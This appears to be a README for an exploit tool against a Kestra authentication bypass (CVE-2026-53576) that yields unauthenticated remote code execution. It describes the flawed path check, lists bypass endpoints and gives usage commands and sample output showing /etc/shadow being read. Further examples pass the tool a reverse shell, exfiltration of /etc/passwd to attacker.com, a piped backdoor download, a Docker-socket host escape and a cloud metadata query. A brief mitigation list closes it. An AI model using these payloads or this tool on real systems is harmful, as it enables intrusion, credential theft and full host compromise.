
Kestra Unauthenticated RCE Exploit (CVE-2026-53576)
Critical Authentication Bypass leading to Unauthenticated Remote Code Execution
This tool is for educational and authorized security testing purposes only.
- DO NOT use this against systems you don't own or lack explicit written permission to test.
- DO NOT use this for illegal activities.
- The author is NOT responsible for any misuse of this tool.
- Use at your OWN RISK.
CVE-2026-53576 is a critical vulnerability in Kestra OSS versions up to v1.3.20 that allows unauthenticated remote code execution via an authentication filter bypass.
| Attribute | Value |
|---|---|
| CVE ID | CVE-2026-53576 |
| Severity | Critical (9.8 CVSS) |
| Vulnerability Type | Authentication Bypass + RCE |
| Affected Product | Kestra OSS |
| Affected Versions | ≤ v1.3.20 |
| Attack Vector | Network |
| Authentication Required | None |
| User Interaction | None |
The authentication filter in Kestra contains a critical logic flaw:
// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")
This checks if any API request ends with /configs, rather than matching the exact route. This allows attackers to bypass authentication by appending /configs to any endpoint.
POST /api/v1/main/flows/configs (bypasses auth)POST /api/v1/main/executions/configs/configs (bypasses auth)# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs # Create flows
/api/v1/main/executions/configs/configs # Execute flows
/api/v1/{tenant}/flows/configs # Any tenant
/api/v1/{tenant}/executions/configs/configs # Any tenant
python3 kestra_exploit.py <target_ip>
# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080
# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https
# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"
# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check
# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup
# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"
| Option | Description |
|---|---|
target | Target IP address or hostname (required) |
-p, --port | Port (default: 8080) |
--https | Use HTTPS instead of HTTP |
-c, --command | Custom command to execute |
--docker-check | Check for Docker socket access |
--cleanup | Delete the flow after exploitation |
--delay | Delay between requests (default: 2s) |
pip install requests
git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576
python3 kestra_exploit.py --help
python3 kestra_exploit.py 192.168.1.100
Output:
============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================
[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26
[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED
[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS
[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
- /tmp/proof.txt containing command output
- Kestra UI execution logs
- Web UI: http://192.168.1.100:8080/ui/
python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"
python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup
| Category | Severity | Description |
|---|---|---|
| Confidentiality | ⚠️ Critical | Read any file (passwords, secrets, configurations) |
| Integrity | ⚠️ Critical | Create/modify/delete flows and data |
| Availability | ⚠️ High | Shutdown system, resource exhaustion |
| Authentication | ⚠️ Critical | Complete bypass of Basic-Auth |
| Privilege Escalation | ⚠️ Critical | Commands run as root (uid=0) |
| Container Escape | ⚠️ Critical | Host compromise via Docker socket |
An unauthenticated attacker can:
Execute arbitrary commands as root:
# Read secrets
cat /app/conf/application.yml
# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Install malware
curl http://attacker.com/backdoor.sh | bash
Pivot to host system (if Docker socket mounted):
docker run -v /:/host --privileged alpine chroot /host
Access cloud metadata (if on cloud provider):
curl http://169.254.169.254/latest/meta-data/
Shut down vulnerable instances:
sudo systemctl stop kestra
Block public access:
iptables -A INPUT -p tcp --dport 8080 -j DROP
Apply firewall rules:
Update Kestra to the latest patched version:
Implement proper authentication:
Container hardening:
/var/run/docker.sockNetwork hardening: